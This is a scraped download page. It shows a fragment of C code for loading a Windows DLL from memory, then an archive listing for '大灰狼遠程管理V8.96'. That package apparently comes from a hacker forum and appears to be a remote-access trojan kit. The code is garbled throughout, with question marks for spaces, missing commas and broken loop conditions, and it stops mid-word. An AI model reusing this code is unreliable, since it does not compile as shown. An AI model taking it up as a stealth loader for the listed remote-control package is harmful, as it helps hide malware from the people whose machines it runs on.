#include?
#include?“MemoryModule.h“

#ifndef?__GNUC__
#pragma?warning（?disable?:?4311?4312?）
#endif

#ifdef?_WIN64
#define?POINTER_TYPE?ULONGLONG
#else
#define?POINTER_TYPE?DWORD
#endif

#ifndef?IMAGE_SIZEOF_base_RELOCATION
#define?IMAGE_SIZEOF_base_RELOCATION?（sizeof（IMAGE_base_RELOCATION））
#endif

typedef?struct?{
	PIMAGE_NT_HEADERS?headers;
	unsigned?char?*codebase;
	HMODULE?*modules;
	int?numModules;
	int?initialized;
}?MEMORYMODULE?*PMEMORYMODULE;

typedef?BOOL?（WINAPI?*DllEntryProc）（HINSTANCE?hinstDLL?DWORD?fdwReason?LPVOID?lpReserved）;

#define?GET_HEADER_DICTIONARY（module?idx）	&（module）->headers->OptionalHeader.DataDirectory[idx]

static?void
CopySections（const?unsigned?char?*data?PIMAGE_NT_HEADERS?old_headers?PMEMORYMODULE?module）
{
	int?i?size;
	unsigned?char?*codebase?=?module->codebase;
	unsigned?char?*dest;

	PIMAGE_SECTION_HEADER?section?=?IMAGE_FIRST_SECTION（module->headers）;
?	for?（i=0;?iheaders->FileHeader.NumberOfSections;?i++?section++）?{
		if?（section->SizeOfRawData?==?0）?{
			//?section?doesn‘t?contain?data?in?the?dll?itself?but?may?define
			//?uninitialized?data
			size?=?old_headers->OptionalHeader.SectionAlignment;
			if?（size?>?0）?{
				dest?=?（unsigned?char?*）VirtualAlloc（codebase?+?section->VirtualAddress
					size
					MEM_COMMIT
					PAGE_READWRITE）;

				section->Misc.PhysicalAddress?=?（POINTER_TYPE）dest;

				memset（dest?0?size）;	
			}

			//?section?is?empty
			continue;
		}

		//?commit?memory?block?and?copy?data?from?dll
		dest?=?（unsigned?char?*）VirtualAlloc（codebase?+?section->VirtualAddress
							section->SizeOfRawData
							MEM_COMMIT
							PAGE_READWRITE）;
		memcpy（dest?data?+?section->PointerToRawData?section->SizeOfRawData）;
		section->Misc.PhysicalAddress?=?（DWORD）dest;
	}
}

//?Protection?flags?for?memory?pages?（Executable?Readable?Writeable）
static?int?ProtectionFlags[2][2][2]?=?{
	{
		//?not?executable
		{PAGE_NOACCESS?PAGE_WRITECOPY}
		{PAGE_READONLY?PAGE_READWRITE}
	}?{
		//?executable
		{PAGE_EXECUTE?PAGE_EXECUTE_WRITECOPY}
		{PAGE_EXECUTE_READ?PAGE_EXECUTE_READWRITE}
	}
};

static?void
FinalizeSections（PMEMORYMODULE?module）
{
	int?i;
	PIMAGE_SECTION_HEADER?section?=?IMAGE_FIRST_SECTION（module->headers）;
#ifdef?_WIN64
	POINTER_TYPE?imageOffset?=?（module->headers->OptionalHeader.Imagebase?&?0xffffffff00000000）;
#else
	#define?imageOffset?0
#endif

	//?loop?through?all?sections?and?change?access?flags
	for?（i=0;?iheaders->FileHeader.NumberOfSections;?i++?section++）?{
		DWORD?protect?oldProtect?size;
		int?executable?=?（section->Characteristics?&?IMAGE_SCN_MEM_EXECUTE）?!=?0;
		int?readable?=???（section->Characteristics?&?IMAGE_SCN_MEM_READ）?!=?0;
		int?writeable?=??（section->Characteristics?&?IMAGE_SCN_MEM_WRITE）?!=?0;

		if?（section->Characteristics?&?IMAGE_SCN_MEM_DISCARDABLE）?{
			//?section?is?not?needed?any?more?and?can?safely?be?fre

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2017-08-26?22:28??大灰狼遠程管理V8.96\
?????目錄???????????0??2017-08-26?22:28??大灰狼遠程管理V8.96\Control\
?????文件?????2500096??2015-10-23?15:04??大灰狼遠程管理V8.96\Control\HttpServer.exe
?????文件?????9307091??2012-11-05?20:11??大灰狼遠程管理V8.96\Control\QQwry.dat
?????文件????????7566??2015-11-18?15:05??大灰狼遠程管理V8.96\Control\SkinH.she
?????文件??????402432??2007-02-17?07:50??大灰狼遠程管理V8.96\Control\mstsc.exe
?????文件??????752640??2007-02-17?07:50??大灰狼遠程管理V8.96\Control\mstscax.dll
?????文件????????4326??2017-03-22?21:12??大灰狼遠程管理V8.96\Control\read.txt
?????文件??????104396??2017-01-24?19:21??大灰狼遠程管理V8.96\Control\華中帝國2017壁紙.jpg
?????文件?????????344??2015-12-07?20:07??大灰狼遠程管理V8.96\Control\華中帝國技術論壇收集整理.url
?????文件?????3042352??2015-11-18?14:51??大灰狼遠程管理V8.96\DhlControA.dll
?????目錄???????????0??2017-08-26?22:28??大灰狼遠程管理V8.96\ICO圖標\
?????文件???????25214??2006-12-10?21:06??大灰狼遠程管理V8.96\ICO圖標\01.ico
?????文件???????22486??2006-11-26?01:37??大灰狼遠程管理V8.96\ICO圖標\02.ico
?????文件???????19790??2007-03-17?23:11??大灰狼遠程管理V8.96\ICO圖標\03.ico
?????文件????????3262??2012-11-11?10:07??大灰狼遠程管理V8.96\ICO圖標\04.ico
?????文件???????14742??2006-11-13?21:40??大灰狼遠程管理V8.96\ICO圖標\05.ico
?????文件????????8478??2001-04-02?18:32??大灰狼遠程管理V8.96\ICO圖標\06.ico
?????文件???????11886??2001-03-22?21:33??大灰狼遠程管理V8.96\ICO圖標\07.ico
?????文件????????1078??1998-10-26?05:37??大灰狼遠程管理V8.96\ICO圖標\08.ico
?????文件????????8478??2001-03-21?13:52??大灰狼遠程管理V8.96\ICO圖標\09.ico
?????文件???????10134??2011-06-12?20:17??大灰狼遠程管理V8.96\ICO圖標\10.ico
?????文件????????2238??1999-08-24?13:13??大灰狼遠程管理V8.96\ICO圖標\11.ico
?????文件????????2238??1999-08-24?13:14??大灰狼遠程管理V8.96\ICO圖標\12.ico
?????文件????????1078??1998-06-22?07:06??大灰狼遠程管理V8.96\ICO圖標\13.ico
?????文件????????1078??2003-01-10?20:36??大灰狼遠程管理V8.96\ICO圖標\14.ICO
?????文件???????11502??2001-04-02?18:59??大灰狼遠程管理V8.96\ICO圖標\15.ico
?????文件???????18718??2012-07-08?09:20??大灰狼遠程管理V8.96\ICO圖標\17.ICO
?????文件????????4846??2014-03-23?11:27??大灰狼遠程管理V8.96\ICO圖標\18.ico
?????文件???????25214??2012-06-16?23:18??大灰狼遠程管理V8.96\ICO圖標\24.ico
?????文件???????28902??2009-06-25?20:45??大灰狼遠程管理V8.96\ICO圖標\28.ico
............此處省略30個文件信息